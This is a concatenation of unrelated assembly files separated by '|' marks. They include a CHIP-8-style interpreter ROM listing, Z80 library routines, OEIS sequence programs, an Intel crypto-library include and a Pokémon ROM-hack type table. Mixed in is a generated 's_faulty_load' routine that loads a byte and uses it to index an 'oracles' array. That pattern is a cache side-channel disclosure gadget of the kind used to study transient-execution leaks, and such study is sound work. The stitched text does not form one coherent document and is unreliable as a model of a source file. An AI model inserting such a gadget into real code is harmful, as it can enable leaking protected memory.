DB 65H, 16H ; 062A: JP 16
; 062C-0647 CHAR [I], V0, V1 or CHAR [I]
; Print character on [I] using screen position horizontal V0, vertical V1
DB 64H, 0E2H ; 062C: LD V2, V3, I
; 062E-0647 CHAR [V2V3], V0, V1 or CHAR [V2V3]
; Print character on [V2V3] on screen position horizontal V0, vertical V1
DB 56H, 0F2H ; 062E: LD V6, [V2]
DB 73H, 01H ; 0630: ADD V3, 01
DB 06H, 3AH ; 0632: LD I, 063A
DB 0B6H, 0FFH ; 0634: JNE I, V6, FF
DB 63H, 0E2H ; 0636: LD I, V2, V3
DB 6BH, 00H ; 0638: RET
DB 05H, 00H ; 063A: LD I, 0500
DB 0D6H, 0F7H ; 063C: LD [27F7], V6
DB 56H, 0D6H ; 063E: CP [I], V6, V6
DB 0D6H, 0F7H ; 0640: LD [27F7], V6
DB 40H, 0E5H ; 0642: DRW I, V0, 5
DB 70H, 06H ; 0644: ADD V0, 06
DB 65H, 2EH ; 0646: JP 2E
; 0648-0655 PRINT
; Print characters on screen, address following subroutine call contains:
; byte 1: horizontal position on screen (0 to 128)
; byte 2: vertical position on screen (0 to 64)
; byte 3 and onwards: character number as on 05nn see 0500-052F table.
; last byte 0xFF
DB 6CH, 00H ; 0648: POP I
DB 66H, 00H ; 064A: PUSH V0-V9
DB 50H, 0D1H ; 064C: CP [I], V0, V1
DB 62H, 02H ; 064E: ADD I, 02
DB 66H, 2CH ; 0650: CHAR [I], V0, V1
DB 6AH, 00H ; 0652: PUSH I
DB 65H, 0AH ; 0654: JP 0A
; 0656-065F PRINT [I]
; Print characters on screen, [I] contains:
; byte 1: horizontal position on screen (0 to 128)
; byte 2: vertical position on screen (0 to 64)
; byte 3 and onwards: character number as on 05nn see 0500-052F table.
; last byte 0xFF
DB 66H, 00H ; 0656: PUSH V0-V9
DB 50H, 0D1H ; 0658: CP [I], V0, V1
DB 62H, 02H ; 065A: ADD I, 02
DB 66H, 2CH ; 065C: CHAR [I], V0, V1
DB 65H, 0AH ; 065E: JP 0A
; 0660-067B PRINT D, 3
; Print decimal value of V9 (3 digits) on screen, address following subroutine call contains:
; byte 1: horizontal position on screen (0 to 128)
; byte 2: vertical position on screen (0 to 64)
DB 66H, 00H ; 0660: PUSH V0-V9
DB 0F8H, 0CH ; 0662: LD V8, 0C
DB 6CH, 00H ; 0664: POP I
DB 50H, 0D1H ; 0666: CP [I], V0, V1
DB 62H, 02H ; 0668: ADD I, 02
DB 6AH, 00H ; 066A: PUSH I
DB 0F2H, 27H ; 066C: LD V2, 27
DB 0F3H, 0CH ; 066E: LD V3, 0C
DB 49H, 03H ; 0670: LD B, [V3], V9
DB 0F6H, 0FFH ; 0672: LD V6, FF
DB 0D6H, 0FH ; 0674: LD [270F], V6
DB 0D8H, 0E3H ; 0676: LD V3, V8
DB 66H, 2EH ; 0678: CHAR [V2V3],V0,V1
DB 65H, 0AH ; 067A: JP 0A
; 067C-0681 PRINT D, 2
; Print decimal value of V9 (2 digits) on screen, address following subroutine call contains:
; byte 1: horizontal position on screen (0 to 128)
; byte 2: vertical position on screen (0 to 64)
DB 66H, 00H ; 067C: PUSH V0-V9
DB 0F8H, 0DH ; 067E: LD V8, 0D
DB 65H, 64H ; 0680: JP 64
; 0682-0687 PRINT D, 1
; Print decimal value of V9 (1 digit) on screen, address following subroutine call contains:
; byte 1: horizontal position on screen (0 to 128)
; byte 2: vertical position on screen (0 to 64)
DB 66H, 00H ; 0682: PUSH V0-V9
DB 0F8H, 0EH ; 0684: LD V8, 0E
DB 65H, 64H ; 0686: JP 64
; 0688-0690 CLR
; Colour 2 blocks on the screen with CLR Vx, Vy, address following subroutine call contains:
; byte 1/2: Screen position first CLR command (Vx and Vx+1)
; byte 3/4: Screen position second CLR command (Vx and Vx+1)
; byte 5: Colour first CLR command (Vy)
; byte 6: Colour second CLR command (Vy)
; If byte 6 highest nible is not 0 then 2 more blocks in following 6 bytes will be coloured.
; (Code on 0424-0432 and 04CE-04D1 is part of this routine)
DB 6CH, 00H ; 0688: POP I
DB 66H, 00H ; 068A: PUSH V0-V9
DB 04H, 24H ; 068C: LD I, 0424
DB 4BH, 0BBH ; 068E: JP I
; 0690-0699 CP [I]
; Copy to [I] from memory after subroutine call, number of bytes stored in V9
; (Code on 04D4-04EB is part of this routine)
DB 64H, 0EH ; 0690: LD [270E], I
DB 6CH, 00H ; 0692: POP I
DB 66H, 00H ; 0694: PUSH V0-V9
DB 04H, 0D4H ; 0696: LD I, 04D4
DB 4BH, 0BBH ; 0698: JP I
; 069A-06FD Colour / sound demo
DB 96H, 0A4H ; 069A: JNZ V6, A4
DB 0F6H, 0FFH ; 069C: LD V6, FF
DB 6FH, 72H ; 069E: OUT4 72
DB 66H, 26H ; 06A0: SCR FILL
DB 0F0H ;06A2: F0
DB 0F0H ;06A3: F0
DB 0FAH, 01H ; 06A4: LD VA, 01
DB 0D0H, 0E5H ; 06A6: LD V5, V0
DB 45H, 64H ; 06A8: SHL V5, 4
DB 0DBH, 0E4H ; 06AA: LD V4, VB
DB 45H, 94H ; 06AC: SHR V5, 4
DB 45H, 44H ; 06AE: ADD V5, V4
DB 0FBH, 07H ; 06B0: LD VB, 07
DB 06H, 0D6H ; 06B2: LD I, 06D6
DB 55H, 0ABH ; 06B4: JG I, V5, VB
DB 0D1H, 0E5H ; 06B6: LD V5, V1
DB 45H, 64H ; 06B8: SHL V5, 4
DB 0DBH, 0E5H ; 06BA: LD V5, VB
DB 0D0H, 0E2H ; 06BC: LD V2, V0
DB 0D1H, 0E3H ; 06BE: LD V3, V1
DB 52H, 57H ; 06C0: CLR V2, V7
DB 44H, 0A0H ; 06C2: ADDN V4, V0
DB 0F2H, 0FH ; 06C4: LD V2, 0F
DB 42H, 34H ; 06C6: XOR V2, V4
DB 52H, 57H ; 06C8: CLR V2, V7
DB 45H, 0A1H ; 06CA: ADDN V5, V1
DB 0F3H, 0FH ; 06CC: LD V3, 0F
DB 43H, 35H ; 06CE: XOR V3, V5
DB 52H, 57H ; 06D0: CLR V2, V7
DB 0D0H, 0E2H ; 06D2: LD V2, V0
DB 52H, 57H ; 06D4: CLR V2, V7
DB 40H, 48H ; 06D6: ADD V0, V8
DB 41H, 48H ; 06D8: ADD V1, V8
DB 0C5H, 03H ; 06DA: RND V5, 03
DB 0F7H, 02H ; 06DC: LD V7, 02
DB 85H, 0E2H ; 06DE: JZ V5, E2
DB 0C7H, 07H ; 06E0: RND V7, 07
DB 40H, 0F8H ; 06E2: KEY V8
DB 8BH, 0F6H ; 06E4: JZ VB, F6
DB 9DH, 0ECH ; 06E6: JNZ VD, EC
DB 7CH, 0FBH ; 06E8: ADD VC, FB
DB 0CDH, 0CH ; 06EA: RND VD, 0C
DB 6FH, 30H ; 06EC: OUT4 30
DB 48H, 65H ; 06EE: SHL V8, 5
DB 0FBH, 11H ; 06F0: LD VB, 11
DB 48H, 1BH ; 06F2: OR V8, VB
DB 65H, 0FAH ; 06F4: JP FA
DB 6FH, 72H ; 06F6: OUT4 72
DB 78H, 01H ; 06F8: ADD V8, 01
DB 0FAH, 00H ; 06FA: LD VA, 00
DB 6BH, 00H ; 06FC: RET
DB 00H ;06FE: 00
DB 00H ;06FF: 00
; 0700-070A RESET RAM
; Reset 2700-279F to 0
LDI 0A0H ;0700: F8 A0
PLO R6 ;0702: A6
R0703
DEC R6 ;0703: 26
LDI 00H ;0704: F8 00
STR R6 ;0706: 56
GLO R6 ;0707: 86
BNZ R0703 ;0708: 3A 03
SEP R4 ;070A: D4
; 070B-071B SCR XOR
; XOR Screen memory with 0xFF
LDI 20H ;070B: F8 20
PHI RF ;070D: BF
LDI 00H ;070E: F8 00
PLO RF ;0710: AF
R0711
LDN RF ;0711: 0F
XRI 0FFH ;0712: FB FF
STR RF ;0714: 5F
INC RF ;0715: 1F
GHI RF ;0716: 9F
SMI 24H ;0717: FF 24
BNZ R0711 ;0719: 3A 11
SEP R4 ;071B: D4
; 071C-0753 KEY SWITCH
; Key switch subroutine
; Following bytes are used as input:
; byte 1: First key
; byte 2: Last key
; byte 3/4: return address if no key pressed
; following bytes contain jump table for the pressed keys, first two byte key 0, next 2 key 1 etc.
DB 6CH, 00H ; 071C: POP I
DB 52H, 0D3H ; 071E: CP [I], V2, V3
DB 62H, 02H ; 0720: ADD I, 02
DB 6AH, 00H ; 0722: PUSH I
DB 0D2H, 0E4H ; 0724: LD V4, V2
DB 07H, 32H ; 0726: LD I, 0732
DB 50H, 82H ; 0728: JK I, V2
DB 72H, 01H ; 072A: ADD V2, 01
DB 07H, 50H ; 072C: LD I, 0750
DB 52H, 0A3H ; 072E: JG I, V2, V3
DB 65H, 26H ; 0730: JP 26
DB 0FDH, 02H ; 0732: LD VD, 02
DB 9DH, 34H ; 0734: JNZ VD, 34
DB 07H, 36H ; 0736: LD I, 0736
DB 50H, 82H ; 0738: JK I, V2
DB 0FDH, 02H ; 073A: LD VD, 02
DB 9DH, 3CH ; 073C: JNZ VD, 3C
DB 42H, 54H ; 073E: SUB V2, V4
DB 6CH, 00H ; 0740: POP I
DB 62H, 02H ; 0742: ADD I, 02
DB 82H, 4AH ; 0744: JZ V2, 4A
DB 72H, 0FFH ; 0746: ADD V2, FF
DB 65H, 42H ; 0748: JP 42
DB 52H, 0D3H ; 074A: CP [I], V2, V3
DB 63H, 0E2H ; 074C: LD I, V2, V3
DB 4BH, 0BBH ; 074E: JP I
DB 6CH, 00H ; 0750: POP I
DB 65H, 4AH ; 0752: JP 4A
; 0754-078D ADD [V0V1], [V2V3] or ADD V0V1, V2V3
; Add decimal values [V0V1] and [V2V3] store result on [V0V1]
; Number of digits stored in V9.
; LSD is on V0V1 and V2V3, following digit is on one address lower
; Each address (byte) only contains one decimal digit
DB 66H, 00H ; 0754: PUSH V0-V9
DB 0F5H, 00H ; 0756: LD V5, 00
DB 65H, 5EH ; 0758: JP 5E
; 075A-078D SUB [V0V1], [V2V3] or SUB V0V1, V2V3
; Subtract decimal values [V2V3] from [V0V1] store result on [V0V1]
; Number of digits stored in V9.
; LSD is on V0V1 and V2V3, following on one address lower
; Each address (byte) only contains one decimal digit
DB 66H, 00H ; 075A: PUSH V0-V9
DB 0F5H, 01H ; 075C: LD V5, 01
DB 0FBH, 00H ; 075E: LD VB, 00
DB 57H, 0F2H ; 0760: LD V7, [V2]
DB 56H, 0F0H ; 0762: LD V6, [V0]
DB 95H, 80H ; 0764: JNZ V5, 80
DB 46H, 4BH ; 0766: ADD V6, VB
DB 46H, 47H ; 0768: ADD V6, V7
DB 0F7H, 0AH ; 076A: LD V7, 0A
DB 46H, 57H ; 076C: SUB V6, V7
DB 9BH, 72H ; 076E: JNZ VB, 72
DB 76H, 0AH ; 0770: ADD V6, 0A
DB 56H, 0E0H ; 0772: LD [V0], V6
DB 71H, 0FFH ; 0774: ADD V1, FF
DB 73H, 0FFH ; 0776: ADD V3, FF
DB 79H, 0FFH ; 0778: ADD V9, FF
DB 99H, 60H ; 077A: JNZ V9, 60
DB 66H, 0AH ; 077C: POP V0-V9
DB 6BH, 00H ; 077E: RET
DB 46H, 5BH ; 0780: SUB V6, VB
DB 46H, 57H ; 0782: SUB V6, V7
DB 0F7H, 0AH ; 0784: LD V7, 0A
DB 46H, 47H ; 0786: ADD V6, V7
DB 9BH, 72H ; 0788: JNZ VB, 72
DB 76H, 0F6H ; 078A: ADD V6, F6
DB 65H, 72H ; 078C: JP 72
; 078E-079B ADD I, V9
; I = I + V9
DB 0EBH, 0F7H ; 078E: LD VB, [27F7]
DB 49H, 4BH ; 0790: ADD V9, VB
DB 0D9H, 0F7H ; 0792: LD [27F7], V9
DB 0E9H, 0F6H ; 0794: LD V9, [27F6]
DB 49H, 4BH ; 0796: ADD V9, VB
DB 0D9H, 0F6H ; 0798: LD [27F6], V9
DB 6BH, 00H ; 079A: RET
; 079C-07A9 LD I, [I+V9]
; I = [I+V9]
DB 67H, 8EH ; 079C: ADD I, V9
; 079E-07A9 LD I, [I]
; I = [I]
DB 0DAH, 0EBH ; 079E: LD VB, VA
DB 59H, 0DAH ; 07A0: CP [I], V9, VA
DB 0D9H, 0F6H ; 07A2: LD [27F6], V9
DB 0DAH, 0F7H ; 07A4: LD [27F7], VA
DB 0DBH, 0EAH ; 07A6: LD VA, VB
DB 6BH, 00H ; 07A8: RET
; 07AA-07B5 KEY WAIT
; Wait for key from either keypad and return key in V9, VA indicates keypad
DB 40H, 0F9H ; 07AA: KEY V9
DB 8BH, 0B0H ; 07AC: JZ VB, B0
DB 6BH, 00H ; 07AE: RET
DB 0FBH, 01H ; 07B0: LD VB, 01
DB 4AH, 3BH ; 07B2: XOR VA, VB
DB 65H, 0AAH ; 07B4: JP AA
; 07B6-07CF RND [270B], V9
; RND V9
; Store random number between 0 and V9 on [270B]
DB 66H, 00H ; 07B6: PUSH V0-V9
DB 0F8H, 00H ; 07B8: LD V8, 00
DB 65H, 0BEH ; 07BA: JP BE
; 07BC-07CF RND [270B], V8, V9
; RND V8, V9
; Store random number between V8 and V9 on [270B]
DB 66H, 00H ; 07BC: PUSH V0-V9
DB 0C7H, 0FFH ; 07BE: RND V7, FF
DB 07H, 0CAH ; 07C0: LD I, 07CA
DB 57H, 0A9H ; 07C2: JG I, V7, V9
DB 47H, 48H ; 07C4: ADD V7, V8
DB 0D7H, 0BH ; 07C6: LD [270B], V7
DB 65H, 7CH ; 07C8: JP 7C
DB 47H, 59H ; 07CA: SUB V7, V9
DB 77H, 0FFH ; 07CC: ADD V7, FF
DB 65H, 0C0H ; 07CE: JP C0
DB 00H ;07D0: 00
DB 00H ;07D1: 00
DB 0FFH ;07D2: FF
DB 0FFH ;07D3: FF
DB 00H ;07D4: 00
DB 0FFH ;07D5: FF
DB 01H ;07D6: 01
DB 0FFH ;07D7: FF
DB 0FFH ;07D8: FF
DB 00H ;07D9: 00
DB 00H ;07DA: 00
DB 00H ;07DB: 00
DB 01H ;07DC: 01
DB 00H ;07DD: 00
DB 0FFH ;07DE: FF
DB 01H ;07DF: 01
DB 00H ;07E0: 00
DB 01H ;07E1: 01
DB 01H ;07E2: 01
DB 01H ;07E3: 01
DB 00H ;07E4: 00
DB 00H ;07E5: 00
DB 00H ;07E6: 00
DB 00H ;07E7: 00
DB 00H ;07E8: 00
DB 00H ;07E9: 00
DB 0FH ;07EA: 0F
DB 0FH ;07EB: 0F
DB 00H ;07EC: 00
DB 0FH ;07ED: 0F
DB 01H ;07EE: 01
DB 0FH ;07EF: 0F
DB 0FH ;07F0: 0F
DB 00H ;07F1: 00
DB 00H ;07F2: 00
DB 00H ;07F3: 00
DB 01H ;07F4: 01
DB 00H ;07F5: 00
DB 0FH ;07F6: 0F
DB 01H ;07F7: 01
DB 00H ;07F8: 00
DB 01H ;07F9: 01
DB 01H ;07FA: 01
DB 01H ;07FB: 01
DB 00H ;07FC: 00
DB 00H ;07FD: 00
DB 00H ;07FE: 00
DB 00H ;07FF: 00
END
|
; uint kbd_lookup(uchar c)
; 09.2005 aralbrec
XLIB kbd_lookup
LIB kbd_transtbl
; Given the ascii code of a character, returns the scan row and mask
; corresponding to the key that needs to be pressed to generate the
; character. Eg: Calling kbd_lookup with character 'a' will return
; '$fd' for key row and '$01' for the mask. You could then check to
; see if the key is pressed with the following bit of code:
;
; ld a,$fd
; in a,($fe)
; and $01
; jr z, a_is_pressed
;
; The mask returned will have bit 7 set and bit 6 set to
; indicate if CAPS, SYM SHIFTS also have to be pressed to generate the
; ascii code, respectively.
; enter: l = ascii character code
; exit : carry set & hl=0 if ascii code not found
; else: l = scan row, h = mask
; bit 7 of h set if CAPS needs to be pressed
; bit 6 of h set if SYM SHIFT needs to be pressed
; uses : af, bc, hl
; The 16-bit value returned is a scan code understood by kbd_pressed
.kbd_lookup
ld a,l
ld hl,kbd_transtbl
ld bc,160
cpir
jr nz, notfound
ld a,159
sub c ; A = position in table of ascii code
ld l,b
ld h,b
cp 80
jr c, nosymshift
sub 80
set 6,h
.nosymshift
cp 40
jr c, nocapshift
sub 40
set 7,h
.nocapshift
.div5loop
inc b
sub 5
jp nc, div5loop
.donedivide
add a,6 ; A = bit position + 1, B = row + 1
ld l,$7f
.rowlp
rlc l
djnz rowlp
ld b,a
ld a,$80
.masklp
rlca
djnz masklp
or h
ld h,a
ret
.notfound
ld hl,0
scf
ret
|
; void z80_outp(uint16_t port, uint8_t data)
SECTION code_clib
SECTION code_z80
PUBLIC z80_outp_callee
EXTERN asm_z80_outp
z80_outp_callee:
pop af
pop hl
pop bc
push af
jp asm_z80_outp
|
; A158764: 38*(38*n^2-1).
; Submitted by Christian Krause
; 1406,5738,12958,23066,36062,51946,70718,92378,116926,144362,174686,207898,243998,282986,324862,369626,417278,467818,521246,577562,636766,698858,763838,831706,902462,976106,1052638,1132058,1214366,1299562,1387646,1478618,1572478,1669226,1768862,1871386,1976798,2085098,2196286,2310362,2427326,2547178,2669918,2795546,2924062,3055466,3189758,3326938,3467006,3609962,3755806,3904538,4056158,4210666,4368062,4528346,4691518,4857578,5026526,5198362,5373086,5550698,5731198,5914586,6100862,6290026,6482078
add $0,1
pow $0,2
mul $0,38
sub $0,1
mul $0,38
|
; A056576: Highest k with 2^k <= 3^n.
; 0,1,3,4,6,7,9,11,12,14,15,17,19,20,22,23,25,26,28,30,31,33,34,36,38,39,41,42,44,45,47,49,50,52,53,55,57,58,60,61,63,64,66,68,69,71,72,74,76,77,79,80,82,84,85,87,88,90,91,93,95,96,98,99,101,103,104,106,107,109,110,112,114,115,117,118,120,122,123,125,126,128,129,131,133,134,136,137,139,141,142,144,145,147,148,150,152,153,155,156,158,160,161,163,164,166,168,169,171,172,174,175,177,179,180,182,183,185,187,188,190,191,193,194,196,198,199,201,202,204,206,207,209,210,212,213,215,217,218,220,221,223,225,226,228,229,231,232,234,236,237,239,240,242,244,245,247,248,250,252,253,255,256,258,259,261,263,264,266,267,269,271,272,274,275,277,278,280,282,283,285,286,288,290,291,293,294,296,297,299,301,302,304,305,307,309,310,312,313,315,316,318,320,321,323,324,326,328,329,331,332,334,336,337,339,340,342,343,345,347,348,350,351,353,355,356,358,359,361,362,364,366,367,369,370,372,374,375,377,378,380,381,383,385,386,388,389,391,393,394
mul $0,84
mov $1,$0
div $1,53
|
;;
;; Copyright (c) 2020-2021, Intel Corporation
;;
;; Redistribution and use in source and binary forms, with or without
;; modification, are permitted provided that the following conditions are met:
;;
;; * Redistributions of source code must retain the above copyright notice,
;; this list of conditions and the following disclaimer.
;; * Redistributions in binary form must reproduce the above copyright
;; notice, this list of conditions and the following disclaimer in the
;; documentation and/or other materials provided with the distribution.
;; * Neither the name of Intel Corporation nor the names of its contributors
;; may be used to endorse or promote products derived from this software
;; without specific prior written permission.
;;
;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;
%define AES_CBCS_ENC_X4 aes_cbcs_1_9_enc_128_x4_no_aesni
%define FLUSH_JOB_AES_CBCS_ENC flush_job_aes128_cbcs_1_9_enc_sse_no_aesni
%include "sse/mb_mgr_aes128_cbcs_1_9_flush_sse.asm"
|
; A223134: Number of distinct sums i+j+k with i,j,k >= 0, i*j*k <= n.
; 1,4,5,7,9,11,13,15,17,19,21,23,25,27,29,31,33,35,37,39,41,43,45,47,49,51,53,55,57,59,61,63,65,67,69,71,73,75,77,79,81,83,85,87,89,91,93,95,97,99,101,103,105,107,109,111,113,115,117,119,121,123,125
mul $0,2
mov $1,$0
cmp $0,2
add $1,$0
add $1,1
|
; A199484: (8*7^n+1)/3.
; 3,19,131,915,6403,44819,313731,2196115,15372803,107609619,753267331,5272871315,36910099203,258370694419,1808594860931,12660164026515,88621148185603,620348037299219,4342436261094531,30397053827661715,212779376793632003,1489455637555424019,10426189462887968131,72983326240215776915,510883283681510438403,3576182985770573068819,25033280900394011481731,175232966302758080372115,1226630764119306562604803,8586415348835145938233619,60104907441846021567635331,420734352092922150973447315,2945140464650455056814131203,20615983252553185397698918419,144311882767872297783892428931,1010183179375106084487247002515,7071282255625742591410729017603,49498975789380198139875103123219,346492830525661386979125721862531,2425449813679629708853880053037715,16978148695757407961977160371264003,118847040870301855733840122598848019,831929286092112990136880858191936131
mov $1,7
pow $1,$0
div $1,6
mul $1,16
add $1,3
mov $0,$1
|
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r15
push %r8
push %r9
push %rax
push %rbx
push %rdx
push %rsi
// Store
lea addresses_normal+0x4061, %r15
nop
xor $19302, %rax
movl $0x51525354, (%r15)
nop
nop
nop
nop
cmp $64385, %rbx
// Store
lea addresses_D+0x1262e, %r8
nop
nop
nop
nop
nop
inc %rsi
movw $0x5152, (%r8)
nop
nop
nop
nop
dec %rdx
// Faulty Load
lea addresses_A+0xfb2e, %rax
sub %rbx, %rbx
vmovups (%rax), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $0, %xmm5, %r9
lea oracles, %rsi
and $0xff, %r9
shlq $12, %r9
mov (%rsi,%r9,1), %r9
pop %rsi
pop %rdx
pop %rbx
pop %rax
pop %r9
pop %r8
pop %r15
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_A'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_normal'}}
{'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_D'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_A'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'00': 1}
00
*/
|
; A193390: The hyper-Wiener index of a benzenoid consisting of a straight-line chain of n hexagons (s=2; see the Gutman et al. reference).
; 42,215,680,1661,3446,6387,10900,17465,26626,38991,55232,76085,102350,134891,174636,222577,279770,347335,426456,518381,624422,745955,884420,1041321,1218226,1416767,1638640,1885605,2159486,2462171,2795612,3161825,3562890,4000951,4478216,4996957,5559510,6168275,6825716,7534361,8296802,9115695,9993760,10933781,11938606,13011147,14154380,15371345,16665146,18038951,19495992,21039565,22673030,24399811,26223396,28147337,30175250,32310815,34557776,36919941,39401182,42005435,44736700,47599041,50596586,53733527,57014120,60442685,64023606,67761331,71660372,75725305,79960770,84371471,88962176,93737717,98702990,103862955,109222636,114787121,120561562,126551175,132761240,139197101,145864166,152767907,159913860,167307625,174954866,182861311,191032752,199475045,208194110,217195931,226486556,236072097,245958730,256152695,266660296,277487901,288641942,300128915,311955380,324127961,336653346,349538287,362789600,376414165,390418926,404810891,419597132,434784785,450381050,466393191,482828536,499694477,516998470,534748035,552950756,571614281,590746322,610354655,630447120,651031621,672116126,693708667,715817340,738450305,761615786,785322071,809577512,834390525,859769590,885723251,912260116,939388857,967118210,995456975,1024414016,1053998261,1084218702,1115084395,1146604460,1178788081,1211644506,1245183047,1279413080,1314344045,1349985446,1386346851,1423437892,1461268265,1499847730,1539186111,1579293296,1620179237,1661853950,1704327515,1747610076,1791711841,1836643082,1882414135,1929035400,1976517341,2024870486,2074105427,2124232820,2175263385,2227207906,2280077231,2333882272,2388634005,2444343470,2501021771,2558680076,2617329617,2676981690,2737647655,2799338936,2862067021,2925843462,2990679875,3056587940,3123579401,3191666066,3260859807,3331172560,3402616325,3475203166,3548945211,3623854652,3699943745,3777224810,3855710231,3935412456,4016343997,4098517430,4181945395,4266640596,4352615801,4439883842,4528457615,4618350080,4709574261,4802143246,4896070187,4991368300,5088050865,5186131226,5285622791,5386539032,5488893485,5592699750,5697971491,5804722436,5912966377,6022717170,6133988735,6246795056,6361150181,6477068222,6594563355,6713649820,6834341921,6956654026,7080600567,7206196040,7333455005,7462392086,7593021971,7725359412,7859419225,7995216290,8132765551,8272082016,8413180757,8556076910,8700785675,8847322316,8995702161,9145940602,9298053095,9452055160,9607962381,9765790406,9925554947,10087271780,10250956745,10416625746,10584294751
mov $3,$0
mul $0,2
add $0,4
mov $2,$0
lpb $0
sub $0,1
add $1,$4
add $5,$2
add $4,$5
lpe
lpb $3
add $1,3
sub $3,1
lpe
add $1,2
|
test_device():
sub rsp, 24
call rand
mov rdx, QWORD PTR [rsp]
shr rdx, 12
xor eax, edx
and eax, 63
sal eax, 12
mov edx, eax
mov eax, DWORD PTR [rsp]
and eax, -258049
or eax, edx
mov DWORD PTR [rsp], eax
add rsp, 24
ret
|
;Lines beginning with a semicolon (like this one) are Comments, and not part of the game. Information in such lines represent pieces which existed in vanilla, but have been
;removed or replaced by this hack.
;When counting lines, note that there are 14 blank lines
TypeEffects:
; attacker, defender, *=
db SOUND, GHOST, NO_EFFECT
db SOUND, ROCK, NOT_VERY_EFFECTIVE
db SOUND, FIGHTING, NOT_VERY_EFFECTIVE
db SOUND, PSYCHIC_TYPE, SUPER_EFFECTIVE
db FIRE, FIRE, NOT_VERY_EFFECTIVE
db FIRE, WATER, NOT_VERY_EFFECTIVE
db FIRE, ROCK, NOT_VERY_EFFECTIVE
db FIRE, DRAGON, NOT_VERY_EFFECTIVE
db FIRE, GRASS, SUPER_EFFECTIVE
db FIRE, ICE, SUPER_EFFECTIVE
db FIRE, BUG, SUPER_EFFECTIVE
db WATER, GRASS, NOT_VERY_EFFECTIVE
db WATER, WATER, NOT_VERY_EFFECTIVE
db WATER, DRAGON, NOT_VERY_EFFECTIVE
;db WATER, GROUND, SUPER_EFFECTIVE
db WATER, ROCK, SUPER_EFFECTIVE
db WATER, FIRE, SUPER_EFFECTIVE
db WATER, POISON, SUPER_EFFECTIVE
db ELECTRIC, GROUND, NO_EFFECT
db ELECTRIC, ELECTRIC, NOT_VERY_EFFECTIVE
db ELECTRIC, GRASS, NOT_VERY_EFFECTIVE
db ELECTRIC, DRAGON, NOT_VERY_EFFECTIVE
db ELECTRIC, FLYING, SUPER_EFFECTIVE
db ELECTRIC, WATER, SUPER_EFFECTIVE
db GRASS, BUG, NOT_VERY_EFFECTIVE
;db GRASS, POISON, NOT_VERY_EFFECTIVE
db GRASS, FLYING, NOT_VERY_EFFECTIVE
;db GRASS, GRASS, NOT_VERY_EFFECTIVE
db GRASS, FIRE, NOT_VERY_EFFECTIVE
db GRASS, DRAGON, NOT_VERY_EFFECTIVE
db GRASS, GROUND, SUPER_EFFECTIVE
;db GRASS, ROCK, SUPER_EFFECTIVE
db GRASS, WATER, SUPER_EFFECTIVE
db ICE, ICE, NOT_VERY_EFFECTIVE
db ICE, WATER, NOT_VERY_EFFECTIVE
db ICE, GRASS, SUPER_EFFECTIVE
db ICE, GROUND, SUPER_EFFECTIVE
db ICE, FLYING, SUPER_EFFECTIVE
;db ICE, DRAGON, SUPER_EFFECTIVE
db ICE, SOUND, SUPER_EFFECTIVE
db FIGHTING, GHOST, NO_EFFECT
db FIGHTING, POISON, NOT_VERY_EFFECTIVE
db FIGHTING, FLYING, NOT_VERY_EFFECTIVE
db FIGHTING, PSYCHIC_TYPE, NOT_VERY_EFFECTIVE
db FIGHTING, BUG, NOT_VERY_EFFECTIVE
db FIGHTING, ROCK, SUPER_EFFECTIVE
;db FIGHTING, SOUND, SUPER_EFFECTIVE
db FIGHTING, ICE, SUPER_EFFECTIVE
db POISON, POISON, NOT_VERY_EFFECTIVE
db POISON, GROUND, NOT_VERY_EFFECTIVE
db POISON, ROCK, NOT_VERY_EFFECTIVE
db POISON, GHOST, NOT_VERY_EFFECTIVE
db POISON, BUG, SUPER_EFFECTIVE
db POISON, GRASS, SUPER_EFFECTIVE
db POISON, FLYING, SUPER_EFFECTIVE
db GROUND, FLYING, NO_EFFECT
db GROUND, GRASS, NOT_VERY_EFFECTIVE
db GROUND, BUG, NOT_VERY_EFFECTIVE
;db GROUND, ROCK, SUPER_EFFECTIVE
db GROUND, ROCK, NOT_VERY_EFFECTIVE
db GROUND, POISON, SUPER_EFFECTIVE
;db GROUND, FIRE, SUPER_EFFECTIVE
db GROUND, SOUND, SUPER_EFFECTIVE
db GROUND, ELECTRIC, SUPER_EFFECTIVE
db FLYING, ROCK, NOT_VERY_EFFECTIVE
db FLYING, ELECTRIC, NOT_VERY_EFFECTIVE
db FLYING, FIGHTING, SUPER_EFFECTIVE
db FLYING, BUG, SUPER_EFFECTIVE
db FLYING, GRASS, SUPER_EFFECTIVE
db PSYCHIC_TYPE, PSYCHIC_TYPE, NOT_VERY_EFFECTIVE
db PSYCHIC_TYPE, DRAGON, NOT_VERY_EFFECTIVE
db PSYCHIC_TYPE, FIGHTING, SUPER_EFFECTIVE
db PSYCHIC_TYPE, POISON, SUPER_EFFECTIVE
db BUG, FIRE, NOT_VERY_EFFECTIVE
